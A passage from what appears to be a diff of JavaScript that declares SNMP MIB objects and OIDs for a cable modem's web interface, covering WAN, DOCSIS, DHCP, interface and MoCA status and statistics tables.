Scalar("ICtrlGetWanPrefixLen","1.3.6.1.4.1.4115.1.20.1.1.10.10.4",66); +ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType= new Scalar("ICtrlGetWanGatewayAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.5",2); +ICtrlGetWanSettings.ICtrlGetWanGatewayAddr= new Scalar("ICtrlGetWanGatewayAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.6",4,1); +ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType= new Scalar("ICtrlGetWanDNSPrimaryAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.7",2); +ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr= new Scalar("ICtrlGetWanDNSPrimaryAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.8",4,1); +ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType= new Scalar("ICtrlGetWanDNSSecondaryAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.9",2); +ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr= new Scalar("ICtrlGetWanDNSSecondaryAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.10",4,1); +ICtrlGetWanSettings.ICtrlGetWanMacAddress= new Scalar("ICtrlGetWanMacAddress","1.3.6.1.4.1.4115.1.20.1.1.10.10.11",4,1); +var arICtrlGetWanType=ICtrlGetWanSettings.ICtrlGetWanType; +var arICtrlGetWanMTU=ICtrlGetWanSettings.ICtrlGetWanMTU; +var arICtrlGetWanPrefixLen=ICtrlGetWanSettings.ICtrlGetWanPrefixLen; +var arICtrlGetWanGatewayAddrType=ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType; +var arICtrlGetWanGatewayAddr=ICtrlGetWanSettings.ICtrlGetWanGatewayAddr; +var arICtrlGetWanDNSPrimaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType; +var arICtrlGetWanDNSPrimaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr; +var arICtrlGetWanDNSSecondaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType; +var arICtrlGetWanDNSSecondaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr; +var arICtrlGetWanMacAddress=ICtrlGetWanSettings.ICtrlGetWanMacAddress; + +ICtrl.ICtrlPortMapTableEnabled= new Scalar("ICtrlPortMapTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.10.14",2); +var arICtrlPortMapTableEnabled=ICtrl.ICtrlPortMapTableEnabled; + +var mib2system = new Container("mib2system", "1.3.6.1.2.1.1"); +mib2system.sysName= new Scalar("mib2sysname","1.3.6.1.2.1.1.5",4); +mib2system.sysDescr= new Scalar("mib2sysdescr","1.3.6.1.2.1.1.1",4); +mib2system.sysTime= new Scalar("mib2systime","1.3.6.1.2.1.1.3",0x43); +mib2system.sysContact= new Scalar("mib2syscontact","1.3.6.1.2.1.1.4",4); + +var docsdevBase = new Container("docsdevBase", "1.3.6.1.2.1.69.1.1"); +docsdevBase.DateTime = new Scalar("DateTime","1.3.6.1.2.1.69.1.1.2",4,1); +docsdevBase.ResetNow = new Scalar("ResetNow","1.3.6.1.2.1.69.1.1.3",2); +docsdevBase.SerialNumber = new Scalar("SerialNumber","1.3.6.1.2.1.69.1.1.4",4); + +var docsDevSoftware = new Container("docsDevSoftware", "1.3.6.1.2.1.69.1.3"); +docsDevSoftware.CurrentVers = new Scalar("CurrentVers", "1.3.6.1.2.1.69.1.3.5",4); + +var mib2interface = new Container("mib2interface", "1.3.6.1.2.1.2"); +mib2interface.ifNumber= new Scalar("mib2interfaceNumber","1.3.6.1.2.1.2.1",2); +var mib2iftable = new Table("mib2iftable", "1.3.6.1.2.1.2.2"); +mib2iftable.ifIndex = new Column("ifIndex","1.3.6.1.2.1.2.2.1.1",2); +mib2iftable.ifDescr = new Column("ifDescr","1.3.6.1.2.1.2.2.1.2",4); +mib2iftable.ifType = new Column("ifType","1.3.6.1.2.1.2.2.1.3",2); +mib2iftable.ifMtu = new Column("ifMtu","1.3.6.1.2.1.2.2.1.4",2); +mib2iftable.ifSpeed = new Column("ifSpeed", "1.3.6.1.2.1.2.2.1.5",0x42); +mib2iftable.ifPhyAddress = new Column("ifPhyAddress","1.3.6.1.2.1.2.2.1.6",4,1); +mib2iftable.ifOperStatus = new Column("ifOperStatus","1.3.6.1.2.1.2.2.1.8",2); +// scm start +mib2iftable.ifUpTime = new Column("ifUpTime", "1.3.6.1.2.1.2.2.1.9",4,1); +// scm end + +var arrisCmDoc30Software = new Container("arrisCmDoc30Software", "1.3.6.1.4.1.4115.1.3.4.1.5"); +arrisCmDoc30Software.RegistrationState = new Scalar("arrisCmDoc30SwRegistrationState","1.3.6.1.4.1.4115.1.3.4.1.5.9",2); +var arrisCmDoc30DhcpSvrParameters = new Container("arrisCmDoc30DhcpSvrParameters", "1.3.6.1.4.1.4115.1.3.4.1.4.2"); +arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr = new Scalar("arrisCmDoc30DhcpTimeSvrIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.4",4,1); +arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr = new Scalar("arrisCmDoc30DhcpPrimaryDhcpServerIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.2",4,1); +arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr = new Scalar("arrisCmDoc30DhcpTftpSvrIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.3",4,1); +arrisCmDoc30DhcpSvrParameters.TimeOffset = new Scalar("arrisCmDoc30DhcpCmTimeOffset","1.3.6.1.4.1.4115.1.3.4.1.4.2.5",2); +arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr = new Scalar("arrisCmDoc30DhcpPrimaryTeleDhcpSvr","1.3.6.1.4.1.4115.1.3.4.1.4.2.6",4,1); +arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr = new Scalar("arrisCmDoc30DhcpSecondaryTeleDhcpSvr","1.3.6.1.4.1.4115.1.3.4.1.4.2.7",4,1); +var arCmDoc30DhcpPrimaryDhcpServerIpAddr = arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr; +var arCmDoc30DhcpTftpSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr; +var arCmDoc30DhcpTimeSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr; +var arCmDoc30DhcpTimeOffset = arrisCmDoc30DhcpSvrParameters.TimeOffset; +var arCmDoc30DhcpPrimaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr; +var arCmDoc30DhcpSecondaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr; + + +var arrisCmDoc30DhcpCmParameters = new Container("arrisCmDoc30DhcpCmParameters", "1.3.6.1.4.1.4115.1.3.4.1.4.3"); +arrisCmDoc30DhcpCmParameters.CmIpAddr = new Scalar("arrisCmDoc30DhcpCmIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.3.2",4,1); +arrisCmDoc30DhcpCmParameters.CmSubNetMask = new Scalar("arrisCmDoc30DhcpCmSubNetMask","1.3.6.1.4.1.4115.1.3.4.1.4.3.3",4,1); +arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr = new Scalar("arrisCmDoc30DhcpCmGatewayIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.3.4",4,1); +arrisCmDoc30DhcpCmParameters.CmConfigFile = new Scalar("arrisCmDoc30DhcpCmConfigFile","1.3.6.1.4.1.4115.1.3.4.1.4.3.5",4); +var arCmDoc30DhcpCmIpAddr = arrisCmDoc30DhcpCmParameters.CmIpAddr; +var arCmDoc30DhcpCmSubNetMask = arrisCmDoc30DhcpCmParameters.CmSubNetMask; +var arCmDoc30DhcpCmGatewayIpAddr = arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr; +var arCmDoc30DhcpCmConfigFile = arrisCmDoc30DhcpCmParameters.CmConfigFile; + +var arrisCmDoc30Setup = new Container("arrisCmDoc30Setup", "1.3.6.1.4.1.4115.1.3.4.1.3"); +arrisCmDoc30Setup.MddIpModeOverride = new Scalar("arrisCmDoc30SetupMddIpModeOverride","1.3.6.1.4.1.4115.1.3.4.1.3.7",2); +var arCmDoc30SetupMddIpModeOverride = arrisCmDoc30Setup.MddIpModeOverride; + +var arrisCmDoc30Base = new Container("arrisCmDoc30Base", "1.3.6.1.4.1.4115.1.3.4.1.1"); +arrisCmDoc30Base.TodStatus = new Scalar("arrisCmDoc30BaseTodStatus","1.3.6.1.4.1.4115.1.3.4.1.1.14",2); +var arCmDoc30BaseTodStatus = arrisCmDoc30Base.TodStatus; + +var docsIfDownstreamChannelTable = new Table("docsIfDownstreamChannelTable", "1.3.6.1.2.1.10.127.1.1.1"); +docsIfDownstreamChannelTable.Frequency = new Column("docsIfDownChannelFrequency","1.3.6.1.2.1.10.127.1.1.1.1.2",2); +docsIfDownstreamChannelTable.Power = new Column("docsIfDownChannelPower","1.3.6.1.2.1.10.127.1.1.1.1.6",2); +docsIfDownstreamChannelTable.Modulation = new Column("docsIfDownChannelModulation","1.3.6.1.2.1.10.127.1.1.1.1.4",2); + +var docsIfSignalQualityTable = new Table("docsIfSignalQualityTable", "1.3.6.1.2.1.10.127.1.1.4"); +docsIfSignalQualityTable.SignalNoise = new Column("docsIfSigQSignalNoise","1.3.6.1.2.1.10.127.1.1.4.1.5",2); +docsIfSignalQualityTable.Unerroreds = new Column("docsIfSigQUnerroreds","1.3.6.1.2.1.10.127.1.1.4.1.2",0x41); +docsIfSignalQualityTable.Correcteds = new Column("docsIfSigQCorrecteds","1.3.6.1.2.1.10.127.1.1.4.1.3",0x41); +docsIfSignalQualityTable.Uncorrectables = new Column("docsIfSigQUncorrectables","1.3.6.1.2.1.10.127.1.1.4.1.4",0x41); + +var docsIfUpstreamChannelTable = new Table("docsIfUpstreamChannelTable", "1.3.6.1.2.1.10.127.1.1.2"); +docsIfUpstreamChannelTable.ChannelId = new Column("docsIfUpChannelId","1.3.6.1.2.1.10.127.1.1.2.1.1",2); +docsIfUpstreamChannelTable.Frequency = new Column("docsIfUpChannelFrequency","1.3.6.1.2.1.10.127.1.1.2.1.2",2); +docsIfUpstreamChannelTable.Status = new Column("docsIfUpChannelStatus","1.3.6.1.2.1.10.127.1.1.2.1.18",2); + +var arrisCmDoc30IfUpstreamChannelExtendedTable = new Table("arrisCmDoc30IfUpstreamChannelExtendedTable", "1.3.6.1.4.1.4115.1.3.4.1.9.2"); +arrisCmDoc30IfUpstreamChannelExtendedTable.SymbolRate = new Column("arrisCmDoc30IfUpChannelExtendedSymbolRate","1.3.6.1.4.1.4115.1.3.4.1.9.2.1.2",2); +/* kSym/s */ +arrisCmDoc30IfUpstreamChannelExtendedTable.Modulation = new Column("arrisCmDoc30IfUpChannelExtendedModulation","1.3.6.1.4.1.4115.1.3.4.1.9.2.1.3",2); +/* 1: qpsk(1) 2: qam8(2) 3: qam16(3) 4: qam32(4) 5: qam64(5) 6: qam128(6) 7: qam256(7) 8: err(-1) */ + +var docsIf3CmStatusUsTable = new Table("docsIf3CmStatusUsTable", "1.3.6.1.4.1.4491.2.1.20.1.2"); +docsIf3CmStatusUsTable.TxPower = new Column("docsIf3CmStatusUsTxPower","1.3.6.1.4.1.4491.2.1.20.1.2.1.1",2); + +var docsIf3CmStatusTable = new Table("docsIf3CmStatusTable", "1.3.6.1.4.1.4491.2.1.20.1.1"); +docsIf3CmStatusTable.docsIf3CmStatusValue = new Column("docsIf3CmStatusValue","1.3.6.1.4.1.4491.2.1.20.1.1.1.1",2); +var ardocsIf3CmStatusValue=docsIf3CmStatusTable.docsIf3CmStatusValue; + + +// no need to load trigger +MibObjects.loaded = true; + + +// +// MoCA +// + + +var mocaIfConfigTable = new Table("mocaIfConfigTable", "1.3.6.1.4.1.31621.1.1.1.1"); +mocaIfConfigTable.mocaIfEnable = new Column("mocaIfEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.1", 2); +mocaIfConfigTable.mocaIfChannelMask = new Column("mocaIfChannelMask", "1.3.6.1.4.1.31621.1.1.1.1.1.2", 66); +mocaIfConfigTable.mocaIfPowerControl = new Column("mocaIfPowerControl", "1.3.6.1.4.1.31621.1.1.1.1.1.3", 2); +mocaIfConfigTable.mocaIfTxPowerLimit = new Column("mocaIfTxPowerLimit", "1.3.6.1.4.1.31621.1.1.1.1.1.4", 66); +mocaIfConfigTable.mocaIfBeaconPowerLimit = new Column("mocaIfBeaconPowerLimit", "1.3.6.1.4.1.31621.1.1.1.1.1.5", 66); +mocaIfConfigTable.mocaIfPowerControlTargetRate = new Column("mocaIfPowerControlTargetRate", "1.3.6.1.4.1.31621.1.1.1.1.1.6", 66); +mocaIfConfigTable.mocaIfPrivacyEnable = new Column("mocaIfPrivacyEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.7", 2); +mocaIfConfigTable.mocaIfPassword = new Column("mocaIfPassword", "1.3.6.1.4.1.31621.1.1.1.1.1.8", 4); +mocaIfConfigTable.mocaIfPreferredNC = new Column("mocaIfPreferredNC", "1.3.6.1.4.1.31621.1.1.1.1.1.9", 2); +mocaIfConfigTable.mocaIfAccessEnable = new Column("mocaIfAccessEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.10", 2); +mocaIfConfigTable.mocaIfPhyThreshold = new Column("mocaIfPhyThreshold", "1.3.6.1.4.1.31621.1.1.1.1.1.11", 66); +mocaIfConfigTable.mocaIfPhyThresholdEnable = new Column("mocaIfPhyThresholdEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.12", 2); +mocaIfConfigTable.mocaIfStatusChangeEnable = new Column("mocaIfStatusChangeEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.13", 2); +mocaIfConfigTable.mocaIfNumNodesChangeEnable = new Column("mocaIfNumNodesChangeEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.14", 2); +var mocaIfEnable = mocaIfConfigTable.mocaIfEnable; +var mocaIfChannelMask = mocaIfConfigTable.mocaIfChannelMask; +var mocaIfPowerControl = mocaIfConfigTable.mocaIfPowerControl; +var mocaIfTxPowerLimit = mocaIfConfigTable.mocaIfTxPowerLimit; +var mocaIfBeaconPowerLimit = mocaIfConfigTable.mocaIfBeaconPowerLimit; +var mocaIfPowerControlTargetRate = mocaIfConfigTable.mocaIfPowerControlTargetRate; +var mocaIfPrivacyEnable = mocaIfConfigTable.mocaIfPrivacyEnable; +var mocaIfPassword = mocaIfConfigTable.mocaIfPassword; +var mocaIfPreferredNC = mocaIfConfigTable.mocaIfPreferredNC; +var mocaIfAccessEnable = mocaIfConfigTable.mocaIfAccessEnable; +var mocaIfPhyThreshold = mocaIfConfigTable.mocaIfPhyThreshold; +var mocaIfPhyThresholdEnable = mocaIfConfigTable.mocaIfPhyThresholdEnable; +var mocaIfStatusChangeEnable = mocaIfConfigTable.mocaIfStatusChangeEnable; +var mocaIfNumNodesChangeEnable = mocaIfConfigTable.mocaIfNumNodesChangeEnable; + +var mocaIfAccessTable = new Table("mocaIfAccessTable", "1.3.6.1.4.1.31621.1.1.1.2"); +mocaIfAccessTable.mocaIfAccessIndex = new Column("mocaIfAccessIndex", "1.3.6.1.4.1.31621.1.1.1.2.1.1", 2); +mocaIfAccessTable.mocaIfAccessMacAddress = new Column("mocaIfAccessMacAddress", "1.3.6.1.4.1.31621.1.1.1.2.1.2", 4,1); +mocaIfAccessTable.mocaIfAccessStatus = new Column("mocaIfAccessStatus", "1.3.6.1.4.1.31621.1.1.1.2.1.3", 2); +var mocaIfAccessIndex = mocaIfAccessTable.mocaIfAccessIndex; +var mocaIfAccessMacAddress = mocaIfAccessTable.mocaIfAccessMacAddress; +var mocaIfAccessStatus = mocaIfAccessTable.mocaIfAccessStatus; + +var mocaIfStatusTable = new Table("mocaIfStatusTable", "1.3.6.1.4.1.31621.1.1.1.3"); +mocaIfStatusTable.mocaIfStatus = new Column("mocaIfStatus", "1.3.6.1.4.1.31621.1.1.1.3.1.1", 2); +mocaIfStatusTable.mocaIfLinkUpTime = new Column("mocaIfLinkUpTime", "1.3.6.1.4.1.31621.1.1.1.3.1.2", 66); +mocaIfStatusTable.mocaIfSoftwareVersion = new Column("mocaIfSoftwareVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.3", 4); +mocaIfStatusTable.mocaIfMocaVersion = new Column("mocaIfMocaVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.4", 2); +mocaIfStatusTable.mocaIfNetworkVersion = new Column("mocaIfNetworkVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.5", 2); +mocaIfStatusTable.mocaIfMacAddress = new Column("mocaIfMacAddress", "1.3.6.1.4.1.31621.1.1.1.3.1.6", 4,1); +mocaIfStatusTable.mocaIfNodeID = new Column("mocaIfNodeID", "1.3.6.1.4.1.31621.1.1.1.3.1.7", 66); +mocaIfStatusTable.mocaIfName = new Column("mocaIfName", "1.3.6.1.4.1.31621.1.1.1.3.1.8", 4); +mocaIfStatusTable.mocaIfNumNodes = new Column("mocaIfNumNodes", "1.3.6.1.4.1.31621.1.1.1.3.1.9", 66); +mocaIfStatusTable.mocaIfNC = new Column("mocaIfNC", "1.3.6.1.4.1.31621.1.1.1.3.1.10", 66); +mocaIfStatusTable.mocaIfBackupNC = new Column("mocaIfBackupNC", "1.3.6.1.4.1.31621.1.1.1.3.1.11", 66); +mocaIfStatusTable.mocaIfRFChannel = new Column("mocaIfRFChannel", "1.3.6.1.4.1.31621.1.1.1.3.1.12", 2); +mocaIfStatusTable.mocaIfLOF = new Column("mocaIfLOF", "1.3.6.1.4.1.31621.1.1.1.3.1.13", 2); +mocaIfStatusTable.mocaIfTabooChannelMask = new Column("mocaIfTabooChannelMask", "1.3.6.1.4.1.31621.1.1.1.3.1.14", 66); +mocaIfStatusTable.mocaIfNodeTabooChannelMask = new Column("mocaIfNodeTabooChannelMask", "1.3.6.1.4.1.31621.1.1.1.3.1.15", 66); +mocaIfStatusTable.mocaIfCapabilityMask = new Column("mocaIfCapabilityMask", "1.3.6.1.4.1.31621.1.1.1.3.1.16", 66); +mocaIfStatusTable.mocaIfTxGcdPowerReduction = new Column("mocaIfTxGcdPowerReduction", "1.3.6.1.4.1.31621.1.1.1.3.1.17", 66); +mocaIfStatusTable.mocaIfQAM256Capable = new Column("mocaIfQAM256Capable", "1.3.6.1.4.1.31621.1.1.1.3.1.18", 2); +mocaIfStatusTable.mocaIfPacketsAggrCapability = new Column("mocaIfPacketsAggrCapability", "1.3.6.1.4.1.31621.1.1.1.3.1.19", 2); +mocaIfStatusTable.mocaIfMaxIngressNodeBw = new Column("mocaIfMaxIngressNodeBw", "1.3.6.1.4.1.31621.1.1.1.3.1.20", 66); +mocaIfStatusTable.mocaIfMaxEgressNodeBw = new Column("mocaIfMaxEgressNodeBw", "1.3.6.1.4.1.31621.1.1.1.3.1.21", 66); +mocaIfStatusTable.mocaIfTxGcdRate = new Column("mocaIfTxGcdRate", "1.3.6.1.4.1.31621.1.1.1.3.1.22", 66); +var mocaIfStatus = mocaIfStatusTable.mocaIfStatus; +var mocaIfLinkUpTime = mocaIfStatusTable.mocaIfLinkUpTime; +var mocaIfSoftwareVersion = mocaIfStatusTable.mocaIfSoftwareVersion; +var mocaIfMocaVersion = mocaIfStatusTable.mocaIfMocaVersion; +var mocaIfNetworkVersion = mocaIfStatusTable.mocaIfNetworkVersion; +var mocaIfMacAddress = mocaIfStatusTable.mocaIfMacAddress; +var mocaIfNodeID = mocaIfStatusTable.mocaIfNodeID; +var mocaIfName = mocaIfStatusTable.mocaIfName; +var mocaIfNumNodes = mocaIfStatusTable.mocaIfNumNodes; +var mocaIfNC = mocaIfStatusTable.mocaIfNC; +var mocaIfBackupNC = mocaIfStatusTable.mocaIfBackupNC; +var mocaIfRFChannel = mocaIfStatusTable.mocaIfRFChannel; +var mocaIfLOF = mocaIfStatusTable.mocaIfLOF; +var mocaIfTabooChannelMask = mocaIfStatusTable.mocaIfTabooChannelMask; +var mocaIfNodeTabooChannelMask = mocaIfStatusTable.mocaIfNodeTabooChannelMask; +var mocaIfCapabilityMask = mocaIfStatusTable.mocaIfCapabilityMask; +var mocaIfTxGcdPowerReduction = mocaIfStatusTable.mocaIfTxGcdPowerReduction; +var mocaIfQAM256Capable = mocaIfStatusTable.mocaIfQAM256Capable; +var mocaIfPacketsAggrCapability = mocaIfStatusTable.mocaIfPacketsAggrCapability; +var mocaIfMaxIngressNodeBw = mocaIfStatusTable.mocaIfMaxIngressNodeBw; +var mocaIfMaxEgressNodeBw = mocaIfStatusTable.mocaIfMaxEgressNodeBw; +var mocaIfTxGcdRate = mocaIfStatusTable.mocaIfTxGcdRate; + +var mocaIfStatsTable = new Table("mocaIfStatsTable", "1.3.6.1.4.1.31621.1.1.1.4"); +mocaIfStatsTable.mocaIfTxPackets = new Column("mocaIfTxPackets", "1.3.6.1.4.1.31621.1.1.1.4.1.1", 65); +mocaIfStatsTable.mocaIfTxDrops = new Column("mocaIfTxDrops", "1.3.6.1.4.1.31621.1.1.1.4.1.2", 65); +mocaIfStatsTable.mocaIfRxPackets = new Column("mocaIfRxPackets", "1.3.6.1.4.1.31621.1.1.1.4.1.3", 65); +mocaIfStatsTable.mocaIfRxCorrectedErrors = new Column("mocaIfRxCorrectedErrors", "1.3.6.1.4.1.31621.1.1.1.4.1.4", 65); +mocaIfStatsTable.mocaIfRxDrops = new Column("mocaIfRxDrops", "1.3.6.1.4.1.31621.1.1.1.4.1.5", 65); +mocaIfStatsTable.mocaIfEgressNodeNumFlows = new Column("mocaIfEgressNodeNumFlows", "1.3.6.1.4.1.31621.1.1.1.4.1.6", 66); +mocaIfStatsTable.mocaIfIngressNodeNumFlows = new Column("mocaIfIngressNodeNumFlows", "1.3.6.1.4.1.31621.1.1.1.4.1.7", 66); +var mocaIfTxPackets = mocaIfStatsTable.mocaIfTxPackets; +var mocaIfTxDrops = mocaIfStatsTable.mocaIfTxDrops; +var mocaIfRxPackets = mocaIfStatsTable.mocaIfRxPackets; +var mocaIfRxCorrectedErrors = mocaIfStatsTable.mocaIfRxCorrectedErrors; +var mocaIfRxDrops = mocaIfStatsTable.mocaIfRxDrops; +var mocaIfEgressNodeNumFlows = mocaIfStatsTable.mocaIfEgressNodeNumFlows; +var mocaIfIngressNodeNumFlows = mocaIfStatsTable.mocaIfIngressNodeNumFlows; + +var mocaIfFlowStatsTable = new Table("mocaIfFlowStatsTable", "1.3.6.1.4.1.31621.1.1.1.5"); +mocaIfFlowStatsTable.mocaIfFlowIndex = new Column("mocaIfFlowIndex", "1.3.6.1.4.1.31621.1.1.1.5.1.1", 2); +mocaIfFlowStatsTable.mocaIfFlowID = new Column("mocaIfFlowID", "1.3.6.1.4.1.31621.1.1.1.5.1.2", 4); +mocaIfFlowStatsTable.mocaIfPacketDA = new Column("mocaIfPacketDA", "1.3.6.1.4.1.31621.1.1.1.5.1.3", 4,1); +mocaIfFlowStatsTable.mocaIfPeakDataRate = new Column("mocaIfPeakDataRate", "1.3.6.1.4.1.31621.1.1.1.5.1.4", 66); +mocaIfFlowStatsTable.mocaIfBurstSize = new Column("mocaIfBurstSize", "1.3.6.1.4.1.31621.1.1.1.5.1.5", 66); +mocaIfFlowStatsTable.mocaIfLeaseTime = new Column("mocaIfLeaseTime", "1.3.6.1.4.1.31621.1.1.1.5.1.6", 66); +mocaIfFlowStatsTable.mocaIfFlowTag = new Column("mocaIfFlowTag", "1.3.6.1.4.1.31621.1.1.1.5.1.7", 66); +mocaIfFlowStatsTable.mocaIfLeaseTimeLeft = new Column("mocaIfLeaseTimeLeft", "1.3.6.1.4.1.31621.1.1.1.5.1.8", 66); +mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr = new Column("mocaIfTxPacketsOnePacketAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.9", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr = new Column("mocaIfTxPacketsTwoPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.10", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr = new Column("mocaIfTxPacketsThreePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.11", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr = new Column("mocaIfTxPacketsFourPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.12", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr = new Column("mocaIfTxPacketsFivePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.13", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr = new Column("mocaIfTxPacketsSixPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.14", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr = new Column("mocaIfTxPacketsSevenPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.15", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr = new Column("mocaIfTxPacketsEightPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.16", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr = new Column("mocaIfTxPacketsNinePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.17", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr = new Column("mocaIfTxPacketsTenPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.18", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFlow = new Column("mocaIfTxPacketsFlow", "1.3.6.1.4.1.31621.1.1.1.5.1.19", 66); +var mocaIfFlowIndex = mocaIfFlowStatsTable.mocaIfFlowIndex; +var mocaIfFlowID = mocaIfFlowStatsTable.mocaIfFlowID; +var mocaIfPacketDA = mocaIfFlowStatsTable.mocaIfPacketDA; +var mocaIfPeakDataRate = mocaIfFlowStatsTable.mocaIfPeakDataRate; +var mocaIfBurstSize = mocaIfFlowStatsTable.mocaIfBurstSize; +var mocaIfLeaseTime = mocaIfFlowStatsTable.mocaIfLeaseTime; +var mocaIfFlowTag = mocaIfFlowStatsTable.mocaIfFlowTag; +var mocaIfLeaseTimeLeft = mocaIfFlowStatsTable.mocaIfLeaseTimeLeft; +var mocaIfTxPacketsOnePacketAggr = mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr; +var mocaIfTxPacketsTwoPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr; +var mocaIfTxPacketsThreePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr; +var mocaIfTxPacketsFourPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr; +var mocaIfTxPacketsFivePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr; +var mocaIfTxPacketsSixPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr; +var mocaIfTxPacketsSevenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr; +var mocaIfTxPacketsEightPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr; +var mocaIfTxPacketsNinePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr; +var mocaIfTxPacketsTenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr; +var mocaIfTxPacketsFlow = mocaIfFlowStatsTable.mocaIfTxPacketsFlow; + +var mocaNodeTable = new Table("mocaNodeTable", "1.3.6.1.4.1.31621.1.1.1.6"); +mocaNodeTable.mocaNodeIndex = new Column("mocaNodeIndex", "1.3.6.1.4.1.31621.1.1.1.6.1.1", 66); +mocaNodeTable.mocaNodeMocaVersion = new Column("mocaNodeMocaVersion", "1.3.6.1.4.1.31621.1.1.1.6.1.2", 2); +mocaNodeTable.mocaNodeMacAddress = new Column("mocaNodeMacAddress", "1.3.6.1.4.1.31621.1.1.1.6.1.3", 4,1); +mocaNodeTable.mocaNodeTxGcdRate = new Column("mocaNodeTxGcdRate", "1.3.6.1.4.1.31621.1.1.1.6.1.4", 66); +mocaNodeTable.mocaNodeRxGcdPower = new Column("mocaNodeRxGcdPower", "1.3.6.1.4.1.31621.1.1.1.6.1.5", 2); +mocaNodeTable.mocaNodeTxPowerReduction = new Column("mocaNodeTxPowerReduction", "1.3.6.1.4.1.31621.1.1.1.6.1.6", 66); +mocaNodeTable.mocaNodeRxPower = new Column("mocaNodeRxPower", "1.3.6.1.4.1.31621.1.1.1.6.1.7", 2); +mocaNodeTable.mocaNodePreferredNC = new Column("mocaNodePreferredNC", "1.3.6.1.4.1.31621.1.1.1.6.1.8", 2); +mocaNodeTable.mocaNodeQAM256Capable = new Column("mocaNodeQAM256Capable", "1.3.6.1.4.1.31621.1.1.1.6.1.9", 2); +mocaNodeTable.mocaNodePacketsAggrCapability = new Column("mocaNodePacketsAggrCapability", "1.3.6.1.4.1.31621.1.1.1.6.1.10", 2); +mocaNodeTable.mocaNodeRxPackets = new Column("mocaNodeRxPackets", "1.3.6.1.4.1.31621.1.1.1.6.1.11", 65); +mocaNodeTable.mocaNodeRxCorrected = new Column("mocaNodeRxCorrected", "1.3.6.1.4.1.31621.1.1.1.6.1.12", 65); +mocaNodeTable.mocaNodeRxDrops = new Column("mocaNodeRxDrops", "1.3.6.1.4.1.31621.1.1.1.6.1.13", 65); +mocaNodeTable.mocaNodeSNR = new Column("mocaNodeSNR", 